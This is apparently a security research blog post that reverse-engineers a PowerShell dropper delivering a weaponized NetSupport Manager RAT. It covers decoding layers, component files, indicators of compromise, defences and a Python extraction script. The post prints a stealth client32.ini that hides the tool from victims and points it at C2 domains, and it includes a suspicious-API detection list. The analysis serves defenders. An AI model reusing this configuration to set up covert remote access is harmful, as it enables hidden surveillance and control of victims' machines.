← research

┌ case file

class
Malware Analysis
opened
read time
11 min · 2,518 words
status
published

From Obfuscation to Remote Control: Unpacking a NetSupport Manager RAT Delivery Chain

Comprehensive analysis of a sophisticated malware campaign using legitimate NetSupport Manager software weaponized through malicious configuration and multi-layer obfuscation

Introduction

In the ever-evolving landscape of cyber threats, attackers are increasingly turning to legitimate software to carry out their malicious activities. This approach, known as "living off the land," makes detection significantly more challenging for security teams. Today, we're diving deep into a sophisticated malware sample that exemplifies this technique: a weaponized NetSupport Manager remote access tool (RAT) embedded within a PowerShell script.

What makes this particular threat fascinating is not just its technical complexity, but how it transforms legitimate enterprise software into a covert surveillance and control platform. Our analysis reveals a multi-layered payload containing a fully functional remote access toolkit configured for stealth operation and persistent access.

The Discovery: A 9.3MB PowerShell Script

Our investigation began with a suspicious PowerShell script file a417f700fd5c8d36a13b2edec341827f6f05bc24f045429225a08a112f140f68 weighing in at 9.3MB. While large PowerShell scripts aren't uncommon in enterprise environments, this size immediately raised red flags.

Initial examination revealed the script contained a massive base64-encoded payload stored in a PowerShell variable:

powershell
$WbTArUKAbYsNF = "eyJMb3J0WVg..."

The base64 string itself was 1,942,776 characters long - clearly containing something substantial.

Peeling Back the Layers: The Extraction Process

Layer 1: Base64 Decoding

The first layer of obfuscation was straightforward base64 encoding. After decoding, we discovered a 1,457,082 character JSON structure beginning with:

json
{"LortYX":[...]}

Layer 2: The JSON Challenge

Here's where things got interesting. The JSON structure was malformed and truncated, breaking standard parsing libraries. This required developing a custom parser using bracket counting and careful string escape handling:

python
# Custom JSON parsing approach
start = decoded_str.find('"LortYX":[') + len('"LortYX":[')
bracket_count = 1
pos = start
while pos < len(decoded_str) and bracket_count > 0:
    if decoded_str[pos] == '[':
        bracket_count += 1
    elif decoded_str[pos] == ']':
        bracket_count -= 1
    pos += 1

Layer 3: Component Extraction

The malformed JSON contained four distinct objects, each with the structure:

json
{
  "ChEtRK": "filename",
  "vDvTlRCfs": "base64_encoded_file_data"
}

This revealed the final payload: four separate files that together form a complete remote access toolkit.

The Arsenal: Detailed Component Analysis

ComponentSizePurposeCompilation DateKey Capabilities
client32.exe34,288 bytesMain client launcherJune 10, 2011NetSupport client initialization
AudioCapture.dll93,560 bytesAudio surveillanceJuly 31, 2015Real-time audio capture
HTCTL32.DLL328,056 bytesCommand & controlJanuary 6, 2016Network communication, HTTP/HTTPS
client32.ini1,049 bytesConfigurationN/AStealth settings, C2 infrastructure

1. client32.exe - The Launcher

Technical Analysis:

  • Architecture: PE32 (32-bit Windows executable)
  • Subsystem: Windows GUI
  • Manifest: "NetSupport Client Configurator"

Key Imports:

text
PCICL32.dll:
  - _NSMClient32@8 (Main client initialization)
  
KERNEL32.dll:
  - ExitProcess, GetModuleHandleA
  - GetCommandLineA, GetStartupInfoA

This PE32 executable serves as the main entry point. The executable is legitimate NetSupport Manager software, but its configuration makes it malicious. It contains minimal functionality - primarily launching the NetSupport client with the weaponized configuration.

2. AudioCapture.dll - The Surveillance Component

Technical Analysis:

  • Architecture: PE32 DLL (32-bit Windows DLL)
  • Image Base: 0x12300000
  • Debug Symbols: E:\nsmsrc\nsm\1210\1210\AudioCapture\Release\AudioCapture.pdb

Export Functions:

  • AddAudioCaptureEventListener
  • RemoveAudioCaptureEventListener

Key Imports:

text
KERNEL32.dll:
  - Thread management: CreateThread, TerminateThread, SetThreadPriority
  - Memory: LocalFree, WaitForSingleObject
  - Error handling: GetLastError, RaiseException

This DLL provides comprehensive audio surveillance capabilities through multi-threaded audio capture implementation. The presence of debug symbols provides insight into the development environment and confirms this is genuine NetSupport Manager code, making detection more challenging.

3. HTCTL32.DLL - The Command & Control Engine

Technical Analysis:

  • Architecture: PE32 DLL (32-bit Windows DLL)
  • Image Base: 0x101B0000
  • Security Features: ASLR and DEP enabled

This is the most sophisticated component, handling network communication with 26 different WSOCK32.dll functions for socket management, connection handling, and data transfer.

Network Capabilities:

text
HTTP Implementation:
  - POST http://%s/fakeurl.htm HTTP/1.1
  - Connection: Keep-Alive
  - http://%s/testpage.htm

Key Imports:

text
WSOCK32.dll (26 functions):
  - Socket management and connection handling
  - Data transfer operations
  
WINMM.dll:
  - timeBeginPeriod, timeEndPeriod, timeGetTime
  
KERNEL32.dll:
  - Locale/string handling
  - IsValidLocale, EnumSystemLocalesA, GetLocaleInfoA

4. client32.ini - The Stealth Configuration

The configuration file is where the malicious intent becomes crystal clear. This systematically disables all user interface elements that might alert a victim to the presence of the remote access tool:

Stealth Settings:

ini
[Client]
DisableChat=1
DisableChatMenu=1
DisableClientConnect=1
DisableCloseApps=1
DisableDisconnect=1
DisableLocalInventory=1
DisableManageServices=1
DisableMessage=1
DisableReplayMenu=1
DisableRequestHelp=1
HideWhenIdle=1
silent=1
SysTray=0

Command & Control Infrastructure:

ini
[HTTP]
GatewayAddress=deepholeintheworld.com:443
SecondaryGateway=THANKYOUMYKIO.COM:443
Port=443
SecondaryPort=443

Security Configuration:

  • Gateway Security Key: GG<DANGA<E@HDMHN=BA[REDACTED]
  • RADIUS Secret: dgAAAPSxRohhni4y[REDACTED]
  • Access Control: Usernames=*, ValidAddresses.TCP=* (allows connections from anywhere)

The Command & Control Infrastructure

The configuration reveals a sophisticated C2 setup with dual infrastructure for resilience:

Primary C2 Server: deepholeintheworld.com:443

Secondary C2 Server: THANKYOUMYKIO.COM:443

Both servers use port 443 (HTTPS) to blend in with legitimate web traffic, making network detection more challenging. The configuration includes encrypted communication channels and authentication mechanisms designed for professional-grade operational security.

Attack Capabilities and Threat Assessment

CapabilityDescriptionRisk Level
Remote ControlFull desktop access and controlHigh
Audio SurveillanceReal-time audio capture and monitoringHigh
Network CommunicationHTTP/HTTPS-based C2 communicationMedium
Stealth OperationHidden from user interfaceHigh
Persistent AccessConfigured for continuous operationHigh

This weaponized NetSupport Manager installation provides attackers with comprehensive remote access capabilities while maintaining complete stealth through systematically disabled user interface elements and silent operation mode.

File Hashes and Indicators of Compromise

SHA256 Hashes

Detection and Defensive Measures

Network Indicators of Compromise

IndicatorTypeRisk Level
deepholeintheworld.com:443Primary C2High
THANKYOUMYKIO.COM:443Secondary C2High
/fakeurl.htmHTTP POST endpointMedium
/testpage.htmHTTP GET endpointMedium

Host-Based Indicators

Process Indicators:

  • client32.exe running as service
  • DLL injection into system processes
  • Network connections to C2 infrastructure
  • Audio capture device enumeration

File System Indicators:

  • Presence of PCICL32.dll, AudioCapture.dll, or HTCTL32.DLL
  • NetSupport Manager configuration files with stealth settings
  • Temporary files in system directories

Registry Indicators:

  • NetSupport Manager service entries
  • Audio capture device access permissions
  • Network configuration settings

Defensive Recommendations

Network Security:

  1. Domain Blocking: Block communication to identified C2 domains
  2. Traffic Analysis: Monitor for HTTP POST requests to /fakeurl.htm
  3. SSL/TLS Inspection: Inspect encrypted traffic on port 443
  4. DNS Monitoring: Watch for suspicious domain resolutions

Host-Based Detection:

  1. Process Monitoring: Monitor for NetSupport Manager processes
  2. DLL Monitoring: Watch for PCICL32.dll, AudioCapture.dll, HTCTL32.DLL
  3. Registry Monitoring: Monitor NetSupport Manager service entries
  4. File System Monitoring: Watch for client32.exe and related files

Application Control:

  1. Whitelisting: Implement application whitelisting policies
  2. Remote Access Tools: Audit all legitimate remote access software
  3. Configuration Monitoring: Monitor for disabled security features
  4. Audio Device Access: Monitor applications accessing audio capture

The Bigger Picture: Living Off the Land

This attack exemplifies the "living off the land" technique where attackers use legitimate software for malicious purposes. NetSupport Manager is a legitimate, widely-used remote administration tool in enterprise environments. By weaponizing it through configuration rather than code modification, attackers achieve several advantages:

  1. Reduced Detection: Security tools are less likely to flag legitimate software
  2. Functionality: No need to develop custom remote access capabilities
  3. Persistence: Legitimate software is less likely to be removed
  4. Trust: Users and administrators may not suspect legitimate software

This approach represents a significant evolution in malware tactics, moving away from custom-developed tools toward the abuse of legitimate enterprise software.

Technical Challenges and Solutions

Our analysis faced several technical hurdles that required innovative solutions:

Challenge 1: Large File Size (9.3MB)

Solution: Streaming and partial reading techniques to handle memory efficiently while processing the massive PowerShell script.

Challenge 2: Malformed JSON Structure

Solution: Custom parser with bracket counting and string escape handling to process the truncated JSON data that broke standard libraries.

Challenge 3: Multi-layer Encoding

Solution: Sequential decoding approach: Base64 → JSON → Base64 → Binary files, requiring careful handling of each layer.

Challenge 4: String Escaping in JSON

Solution: Proper escape sequence handling in custom parser to manage malformed string data.

Challenge 5: Safe Binary Analysis

Solution: Static analysis techniques without code execution in isolated environment to prevent accidental malware activation.

Advanced Analysis Techniques

Custom JSON Parser Implementation

python
def parse_json_objects(array_content):
    """Parse individual JSON objects from malformed array"""
    objects = []
    obj_start = 0
    brace_count = 0
    in_string = False
    escape_next = False
    
    for i, char in enumerate(array_content):
        if escape_next:
            escape_next = False
            continue
        if char == '\\':
            escape_next = True
            continue
        if char == '"' and not escape_next:
            in_string = not in_string
            continue
        if not in_string:
            if char == '{':
                if brace_count == 0:
                    obj_start = i
                brace_count += 1
            elif char == '}':
                brace_count -= 1
                if brace_count == 0:
                    obj_str = array_content[obj_start:i+1]
                    try:
                        obj = json.loads(obj_str)
                        objects.append(obj)
                    except json.JSONDecodeError:
                        pass
    return objects

PE File Analysis Techniques

The analysis employed multiple techniques for safe binary analysis:

  • String extraction for API call identification
  • Import table analysis for capability assessment
  • Header analysis for compilation timestamps
  • Debug symbol extraction for development environment insights

Conclusion

This analysis demonstrates the sophistication of modern malware campaigns that leverage legitimate software for malicious purposes. The multi-layered encoding, professional-grade C2 infrastructure, and comprehensive stealth configuration suggest this is the work of skilled threat actors with deep understanding of both defensive technologies and enterprise software.

Key takeaways from this analysis:

  • Professional Implementation: Well-structured multi-component architecture with robust error handling
  • Stealth Capabilities: Systematic disabling of user interface elements to maintain covert operation
  • Network Resilience: Dual C2 infrastructure with encrypted communication channels
  • Legitimate Software Abuse: Strategic use of NetSupport Manager for evasion and persistence

The weaponization of NetSupport Manager highlights the critical importance of monitoring all software in your environment, regardless of its legitimacy. Security teams must adopt a zero-trust approach, carefully monitoring the behavior and configuration of all applications, not just their presence.

As attackers continue to evolve their techniques toward "living off the land" approaches, security professionals must stay ahead by developing advanced detection capabilities that focus on behavior and configuration rather than just signatures. This case study serves as a stark reminder that in cybersecurity, appearances can be deceiving, and even the most legitimate software can be transformed into a sophisticated weapon.

The extraction process required custom parsing techniques due to the malformed JSON structure, highlighting the importance of developing robust analysis tools capable of handling non-standard data formats. This adaptability is crucial for modern malware analysis as threat actors increasingly employ novel obfuscation techniques.


References and Further Reading

  1. NetSupport Manager Official Documentation
  2. MITRE ATT&CK: Remote Access Software (T1219)
  3. Living Off the Land Techniques
  4. PowerShell Security Best Practices
  5. PE File Format Analysis
  6. JSON Parsing Techniques
  7. Network IOC Analysis

Resources

reverseIt.py - Complete Analysis Script

python
#!/usr/bin/env python3
import base64
import json
import re
import os
 
def full_analysis(file_path):
    """Complete analysis and extraction of all components"""
    
    with open(file_path, 'r') as f:
        content = f.read()
    
    # Extract the base64 data from the PowerShell variable
    pattern = r'"(eyJ[^"]+)"'
    matches = re.findall(pattern, content)
    
    if not matches:
        print("No base64 payload found")
        return None
    
    b64_payload = matches[0]
    print(f"Found base64 payload of length: {len(b64_payload)}")
    
    try:
        # Decode base64
        decoded_bytes = base64.b64decode(b64_payload)
        decoded_str = decoded_bytes.decode('utf-8')
        
        print(f"Decoded string length: {len(decoded_str)}")
        
        # Extract the array content
        start = decoded_str.find('"LortYX":[') + len('"LortYX":[')
        
        # Find the matching closing bracket
        bracket_count = 1
        pos = start
        while pos < len(decoded_str) and bracket_count > 0:
            if decoded_str[pos] == '[':
                bracket_count += 1
            elif decoded_str[pos] == ']':
                bracket_count -= 1
            pos += 1
        
        array_content = decoded_str[start:pos-1]
        
        # Parse individual objects
        objects = []
        obj_start = 0
        brace_count = 0
        in_string = False
        escape_next = False
        
        for i, char in enumerate(array_content):
            if escape_next:
                escape_next = False
                continue
                
            if char == '\\':
                escape_next = True
                continue
                
            if char == '"' and not escape_next:
                in_string = not in_string
                continue
                
            if not in_string:
                if char == '{':
                    if brace_count == 0:
                        obj_start = i
                    brace_count += 1
                elif char == '}':
                    brace_count -= 1
                    if brace_count == 0:
                        obj_str = array_content[obj_start:i+1]
                        try:
                            obj = json.loads(obj_str)
                            objects.append(obj)
                        except json.JSONDecodeError as e:
                            print(f"Failed to parse object: {e}")
        
        print(f"\n=== PAYLOAD ANALYSIS ===")
        print(f"Found {len(objects)} components in the payload")
        
        # Create output directory
        output_dir = "/home/pure/reverse-it/extracted_files"
        os.makedirs(output_dir, exist_ok=True)
        
        # Analyze each component
        for i, obj in enumerate(objects):
            filename = obj.get("ChEtRK", f"component_{i}")
            b64_data = obj.get("vDvTlRCfs", "")
            
            print(f"\nComponent {i+1}: {filename}")
            print(f"  Base64 data length: {len(b64_data)} characters")
            
            if b64_data:
                try:
                    file_bytes = base64.b64decode(b64_data)
                    print(f"  Decoded size: {len(file_bytes)} bytes")
                    
                    # Save the file
                    output_path = os.path.join(output_dir, filename)
                    with open(output_path, 'wb') as f:
                        f.write(file_bytes)
                    print(f"  Saved to: {output_path}")
                    
                    # Analyze the file
                    if file_bytes.startswith(b'MZ'):
                        print("  File type: Windows PE executable/DLL")
                        
                        # Get more details about the PE
                        pe_str = file_bytes.decode('utf-8', errors='ignore')
                        
                        # Check for interesting API calls
                        interesting_apis = [
                            'CreateProcess', 'VirtualAlloc', 'WriteProcessMemory',
                            'ReadProcessMemory', 'OpenProcess', 'CreateRemoteThread',
                            'LoadLibrary', 'GetProcAddress', 'WinExec', 'ShellExecute',
                            'CreateFile', 'WriteFile', 'ReadFile', 'RegSetValue',
                            'RegOpenKey', 'CryptAcquireContext', 'HttpSendRequest',
                            'InternetOpen', 'connect', 'send', 'recv'
                        ]
                        
                        found_apis = []
                        for api in interesting_apis:
                            if api.lower() in pe_str.lower():
                                found_apis.append(api)
                        
                        if found_apis:
                            print(f"  Suspicious APIs found: {', '.join(found_apis)}")
                        
                        # Check for strings
                        if 'kernel32' in pe_str.lower():
                            print("  → Links to kernel32.dll")
                        if 'ntdll' in pe_str.lower():
                            print("  → Links to ntdll.dll")
                        if 'ws2_32' in pe_str.lower():
                            print("  → Links to ws2_32.dll (networking)")
                        if 'wininet' in pe_str.lower():
                            print("  → Links to wininet.dll (internet)")
                            
                    elif filename.endswith('.ini'):
                        print("  File type: Configuration file")
                        try:
                            ini_content = file_bytes.decode('utf-8', errors='ignore')
                            print(f"  Content preview: {ini_content[:200]}...")
                        except:
                            print("  Could not decode as text")
                    
                    else:
                        print("  File type: Unknown binary data")
                        
                        # Try to detect file type by magic bytes
                        if file_bytes.startswith(b'\\x7fELF'):
                            print("  → Detected: ELF executable")
                        elif file_bytes.startswith(b'PK'):
                            print("  → Detected: ZIP archive")
                        elif file_bytes.startswith(b'\\x89PNG'):
                            print("  → Detected: PNG image")
                        
                except Exception as e:
                    print(f"  Error decoding: {e}")
        
        # Generate summary report
        report_path = os.path.join(output_dir, "analysis_report.txt")
        with open(report_path, 'w') as f:
            f.write("PAYLOAD ANALYSIS REPORT\n")
            f.write("=" * 50 + "\n\n")
            f.write(f"Total components found: {len(objects)}\n\n")
            
            for i, obj in enumerate(objects):
                filename = obj.get("ChEtRK", f"component_{i}")
                b64_data = obj.get("vDvTlRCfs", "")
                
                f.write(f"Component {i+1}: {filename}\n")
                f.write(f"  Base64 length: {len(b64_data)} chars\n")
                
                if b64_data:
                    try:
                        file_bytes = base64.b64decode(b64_data)
                        f.write(f"  File size: {len(file_bytes)} bytes\n")
                        
                        if file_bytes.startswith(b'MZ'):
                            f.write("  Type: Windows PE file\n")
                        elif filename.endswith('.ini'):
                            f.write("  Type: Configuration file\n")
                        else:
                            f.write("  Type: Unknown binary\n")
                    except:
                        f.write("  Error: Could not decode\n")
                
                f.write("\n")
        
        print(f"\n=== SUMMARY ===")
        print(f"All files extracted to: {output_dir}")
        print(f"Analysis report saved to: {report_path}")
        
        return objects
        
    except Exception as e:
        print(f"Error: {e}")
        return None
 
if __name__ == "__main__":
    payload_file = 'a417f700fd5c8d36a13b2edec341827f6f05bc24f045429225a08a112f140f68.txt'
    result = full_analysis(payload_file)

⚠️ Security Warning: All extracted files are malicious and should only be analyzed in secure, isolated environments. Do not execute any of the extracted binaries on production systems.


This analysis was conducted in a controlled environment for research purposes. The techniques described are for educational and defensive purposes only.

share this research